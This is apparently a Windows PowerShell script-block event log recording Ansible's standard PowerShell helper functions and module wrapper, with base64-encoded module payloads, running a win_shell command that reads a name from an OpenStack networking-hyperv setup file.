Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 251beeba-ef96-4341-ab75-06e61b877fb9
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1676 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4944 | 4248 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:12 AM | dfeadd90-ee34-0003-37f0-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 82ed8b08-6c8f-4fe9-96b4-0e4d36aac29b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1675 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4944 | 4248 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:11 AM | dfeadd90-ee34-0003-28f0-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
vbiAqIC1DbWRsZXQgKgoK", "Ansible.ModuleUtils.FileUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL0JTRC0yLUNsYXVzZSkKCjwjClRlc3QtUGF0aC9HZXQtSXRlbSBjYW5ub3QgZmluZC9yZXR1cm4gaW5mbyBvbiBmaWxlcyB0aGF0IGFyZSBsb2NrZWQgbGlrZQpDOlxwYWdlZmlsZS5zeXMuIFRoZXNlIDIgZnVuY3Rpb25zIGFyZSBkZXNpZ25lZCB0byB3b3JrIHdpdGggdGhlc2UgZmlsZXMgYW5kCnByb3ZpZGUgc2ltaWxhciBmdW5jdGlvbmFsaXR5IHdpdGggdGhlIG5vcm1hbCBjbWRsZXRzIHdpdGggYXMgbWluaW1hbCBvdmVyaGVhZAphcyBwb3NzaWJsZS4gVGhleSB3b3JrIGJ5IHVzaW5nIEdldC1DaGlsZEl0ZW0gd2l0aCBhIGZpbHRlciBhbmQgcmV0dXJuIHRoZQpyZXN1bHQgZnJvbSB0a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jb21tYW5kX3Jlc3VsdC5zdGRvdXQKJHJlc3VsdC5zdGRlcnIgPSBDbGVhbnNlLVN0ZGVyciAkY29tbWFuZF9yZXN1bHQuc3RkZXJyIAokcmVzdWx0LnJjID0gJGNvbW1hbmRfcmVzdWx0LnJjCgokZW5kX2RhdGV0aW1lID0gW0RhdGVUaW1lXTo6VXRjTm93CiRyZXN1bHQuc3RhcnQgPSAkc3RhcnRfZGF0ZXRpbWUuVG9TdHJpbmcoInl5eXktTU0tZGQgaGg6bW06c3MuZmZmZmZmIikKJHJlc3VsdC5lbmQgPSAkZW5kX2RhdGV0aW1lLlRvU3RyaW5nKCJ5eXl5LU1NLWRkIGhoOm1tOnNzLmZmZmZmZiIpCiRyZXN1bHQuZGVsdGEgPSAkKCRlbmRfZGF0ZXRpbWUgLSAkc3RhcnRfZGF0ZXRpbWUpLlRvU3RyaW5nKCJoXDptbVw6c3NcLmZmZmZmZiIpCgpJZiAoJHJlc3VsdC5yYyAtbmUgMCkgewogICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAibm9uLXplcm8gcmV0dXJuIGNvZGUiCn0KCkV4aXQtSnNvbiAkcmVzdWx0Cg==", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_shell", "_raw_params": "Select-String -path c:\\openstack\\build\\networking-hyperv\\\\setup.cfg -pattern \"^name.*=.*\" | % {$_.matches.value.split(\"=\")[1].trim()}", "_ansible_verbosity": 4, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: bc82473e-b141-4b8e-a628-766094f3a11f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1674 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4944 | 4248 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:11 AM | dfeadd90-ee34-0003-22f0-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
3NhZ2UKICAgIFNldC1BdHRyICRvYmogImZhaWxlZCIgJHRydWUKCiAgICBpZiAoLW5vdCAkb2JqLkNvbnRhaW5zS2V5KCdjaGFuZ2VkJykpIHsKICAgICAgICBTZXQtQXR0ciAkb2JqICJjaGFuZ2VkIiAkZmFsc2UKICAgIH0KCiAgICBXcml0ZS1PdXRwdXQgJG9iaiB8IENvbnZlcnRUby1Kc29uIC1Db21wcmVzcyAtRGVwdGggOTkKICAgIEV4aXQgMQp9CgpGdW5jdGlvbiBBZGQtV2FybmluZygkb2JqLCAkbWVzc2FnZSkKewo8IwogICAgLlNZTk9QU0lTCiAgICBIZWxwZXIgZnVuY3Rpb24gdG8gYWRkIHdhcm5pbmdzLCBldmVuIGlmIHRoZSB3YXJuaW5ncyBhdHRyaWJ1dGUgd2FzCiAgICBub3QgYWxyZWFkeSBzZXQgdXAuIFRoaXMgaXMgYSBjb252ZW5pZW5jZSBmb3IgdGhlIG1vZHVsZSBkZXZlbG9wZXIKICAgIHNvIHRoZXkgZG8gbm90IGhhdmUgdG8gY2hlY2sgZm9yIHRoZSBhdHRyaWJ1dGUgcHJpb3IgdG8gYWRkaW5nLgojPgoKICAgIGlmICgtbm90ICRvYmouQ29udGFpbnNLZXkoIndhcm5pbmdzIikpIHsKICAgICAgICAkb2JqLndhcm5pbmdzID0gQCgpCiAgICB9IGVsc2VpZiAoJG9iai53YXJuaW5ncyAtaXNub3QgW2FycmF5XSkgewogICAgICAgIHRocm93ICJBZGQtV2FybmluZzogd2FybmluZ3MgYXR0cmlidXRlIGlzIG5vdCBhbiBhcnJheSIKICAgIH0KCiAgICAkb2JqLndhcm5pbmdzICs9ICRtZXNzY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ciB2YWxpZGF0aW9uIHRvIHNhdmUgeW91IGZyb20gY29kaW5nIHRoYXQgbWFudWFsbHkKICAgIE5vdGUgdGhhdCBpZiB5b3UgdXNlIHRoZSBmYWlsaWZlbXB0eSBvcHRpb24sIHlvdSBkbyBuZWVkIHRvIHNwZWNpZnkgcmVzdWx0b2JqZWN0IGFzIHdlbGwuCiM+CiAgICAjIENoZWNrIGlmIHRoZSBwcm92aWRlZCBNZW1iZXIgJG5hbWUgb3IgYWxpYXNlcyBleGlzdCBpbiAkb2JqIGFuZCByZXR1cm4gaXQgb3IgdGhlIGRlZmF1bHQuCiAgICB0cnkgewoKICAgICAgICAkZm91bmQgPSAkbnVsbAogICAgICAgICMgRmlyc3QgdHJ5IHRvIGZpbmQgcHJlZmVycmVkIHBhcmFtZXRlciAkbmFtZQogICAgICAgICRhbGlhc2VzID0gQCgkbmFtZSkgKyAkYWxpYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCA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ywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyB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tYW5hZ2VyIC1DbGFzcyBNU0ZUX1NlcnZlck1hbmFnZXJUYXNrcwogICAgJHJlZ0RhdGEgPSBHZXQtSXRlbVByb3BlcnR5ICJIS0xNOlxTWVNURU1cQ3VycmVudENvbnRyb2xTZXRcQ29udHJvbFxTZXNzaW9uIE1hbmFnZXIiICJQZW5kaW5nRmlsZVJlbmFtZU9wZXJhdGlvbnMiIC1FQSBJZ25vcmUKICAgICRDQlNSZWJvb3RTdGF0dXMgPSBHZXQtQ2hpbGRJdGVtICJIS0xNOlxcU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cQ29tcG9uZW50IEJhc2VkIFNlcnZpY2luZyIgIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlfCBXaGVyZS1PYmplY3QgeyRfLlBTQ2hpbGROYW1lIC1lcSAiUmVib290UGVuZGluZyJ9CiAgICBpZigoJGZlYXR1cmVEYXRhIC1hbmQgJGZlYXR1cmVEYXRhLlJlcXVpcmVzUmVib290KSAtb3IgJHJlZ0RhdGEgLW9yICRDQlNSZWJvb3RTdGF0dXMpCiAgICB7CiAgICAgICAgcmV0dXJuICRUcnVlCiAgICB9CiAgICBlbHNlCiAgICB7CiAgICAgICAgcmV0dXJuICRGYWxzZQogICAgfQp9CgojIHRoaXMgbGluZSBtdXN0IHN0YXkgYXQgdGhlIGJvdHRvbSB0byBlbnN1cmUgYWxsIGRlZmluZWQgbW9kdWxlIHBhcnRzIGFyZSBleHBvcnRlZApFeHBvcnQtTW9kdWxlTWVtYmVyIC1BbGlhcyAqIC1GdW5jdGl
ScriptBlock ID: bc82473e-b141-4b8e-a628-766094f3a11f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1673 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4944 | 4248 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:11 AM | dfeadd90-ee34-0003-22f0-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
GlvbihzdGRvdXRfcmVhZCwgSGFuZGxlRmxhZ3MuSU5IRVJJVCwgMCkpCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIlNURE9VVCBwaXBlIGhhbmRsZSBzZXR1cCBmYWlsZWQiKTsKCiAgICAgICAgICAgIGlmICghQ3JlYXRlUGlwZShvdXQgc3RkZXJyX3JlYWQsIG91dCBzdGRlcnJfd3JpdGUsIHBpcGVzZWMsIDApKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IFdpbjMyRXhjZXB0aW9uKCJTVERFUlIgcGlwZSBzZXR1cCBmYWlsZWQiKTsKICAgICAgICAgICAgaWYgKCFTZXRIYW5kbGVJbmZvcm1hdGlvbihzdGRlcnJfcmVhZCwgSGFuZGxlRmxhZ3MuSU5IRVJJVCwgMCkpCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIlNUREVSUiBwaXBlIGhhbmRsZSBzZXR1cCBmYWlsZWQiKTsKCiAgICAgICAgICAgIGlmICghQ3JlYXRlUGlwZShvdXQgc3RkaW5fcmVhZCwgb3V0IHN0ZGluX3dyaXRlLCBwaXBlc2VjLCAwKSkKICAgICAgICAgICAgICAgIHRocm93IG5ldyBXaW4zMkV4Y2VwdGlvbigiU1RESU4gcGlwZSBzZXR1cCBmYWlsZWQiKTsKICAgICAgICAgICAgaWYgKCFTZXRIYW5kbGVJbmZvcm1hdGlvbihzdGRpbl93cml0ZSwgSGFuZGxlRmxhZ3MuSU5IRVJJVCwgMCkpCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luM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nZpcm9ubWVudFN0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoIChEaWN0aW9uYXJ5RW50cnkga3YgaW4gZW52aXJvbm1lbnQpCiAgICAgICAgICAgICAgICAgICAgZW52aXJvbm1lbnRTdHJpbmcuQXBwZW5kRm9ybWF0KCJ7MH09ezF9XDAiLCBrdi5LZXksIGt2LlZhbHVlKTsKICAgICAgICAgICAgICAgIGVudmlyb25tZW50U3RyaW5nLkFwcGVuZCgnXDAnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gQ3JlYXRlIHRoZSBlbnZpcm9ubWVudCBibG9jayBpZiBzZXQKICAgICAgICAgICAgSW50UHRyIGxwRW52aXJvbm1lbnQgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50U3RyaW5nICE9IG51bGwpCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50ID0gTWFyc2hhbC5TdHJpbmdUb0hHbG9iYWxVbmkoZW52aXJvbm1lbnRTdHJpbmcuVG9TdHJpbmcoKSk7CgogICAgICAgICAgICAvLyBDcmVhdGUgbmV3IHByb2Nlc3MgYW5kIHJ1bgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIGFyZ3VtZW50X3N0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKGxwQ29tbWFuZExpbmUpOwogICAgICAgICAgICBQUk9DRVNTX0lORk9STUFUSU9OIHBpID0gbmV3IFBST0NFU1NfSU5GT1JNQVRJT04oKTsKICAgICAgICAgICAgaWYgKCFDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICAgICAgbHBBcHBsaWNhdGlvbk5hbWUsCiAgICAgICAgICAgICAgICBhcmd1bWVudF9zdHJpbmcsCiAgICAgICAgICAgICAgICBJbnRQdHIuWmVybywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgdHJ1ZSwKICAgICAgICAgICAgICAgIHN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gICBUaHJlYWRQb29sLlF1ZXVlVXNlcldvcmtJdGVtKChzKSA9PgogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzZSA9IHN0ZGVyclN0cmVhbS5SZWFkVG9FbmQoKTsKICAgICAgICAgICAgICAgIHNld2FpdC5TZXQoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIGZvcmVhY2ggKHZhciB3aCBpbiBuZXcgV2FpdEhhbmRsZVtdIHsgc293YWl0LCBzZXdhaXQgfSkKICAgICAgICAgICAgICAgIHdoLldhaXRPbmUoKTsKICAgICAgICAgICAgc3Rkb3V0ID0gc287CiAgICAgICAgICAgIHN0ZGVyciA9IHNlOwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdWludCBHZXRQcm9jZXNzRXhpdENvZGUoSW50UHRyIHByb2Nlc3NIYW5kbGUpCiAgICAgICAgewogICAgICAgICAgICBuZXcgTmF0aXZlV2FpdEhhbmRsZShwcm9jZXNzSGFuZGxlKS5XYWl0T25lKCk7CiAgICAgICAgICAgIHVpbnQgZXhpdENvZGU7CiAgICAgICAgICAgIGlmICghR2V0RXhpdENvZGVQcm9jZXNzKHByb2Nlc3NIYW5kbGUsIG91dCBleGl0Q29kZSkpCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkVycm9yIGdldHRpbmcgcHJvY2VzcyBleGl0IGNvZGUiKTsKICAgICAgICAgICAgcmV0dXJuIGV4aXRDb2RlOwogICAgICAgIH0KICAgIH0KfQoiQAoKJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICdTdG9wJwoKRnVuY3Rpb24gTG9hZC1Db21tYW5kVXRpbHMgewogICAgIyBtYWtlcyB0aGUgZm9sbG93aW5nIHN0YXRpYyBmdW5jdGlvbnMgYXZhaWxhYmxlCiAgICAjICAgW0Fuc2libGUuQ29tbWFuZFV0aWxdOjpQYXJzZUNvbW1hbmRMaW5lKHN0cmluZyBscENvbW1hbmRMaW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BKU09OIGFuZCBvdXRwdXQgaXQsIGV4aXRpbmcgdGhlIHNjcmlwdAogICAgLkVYQU1QTEUKICAgIEZhaWwtSnNvbiAkcmVzdWx0ICJUaGlzIGlzIHRoZSBmYWlsdXJlIG1lc3NhZ2UiCiM+CgogICAgaWYgKCRvYmogLWlzIFtoYXNodGFibGVdIC1vciAkb2JqIC1pcyBbcHNvYmplY3RdKSB7CiAgICAgICAgIyBOb3RoaW5nIHRvIGRvCiAgICB9IGVsc2VpZiAoJG9iaiAtaXMgW3N0cmluZ10gLWFuZCAkbnVsbCAtZXEgJG1lc3NhZ2UpIHsKICAgICAgICAjIElmIHdlIHdlcmVuJ3QgZ2l2ZW4gMiBhcmdzLCBhbmQgdGhlIG9ubHkgYXJnIHdhcy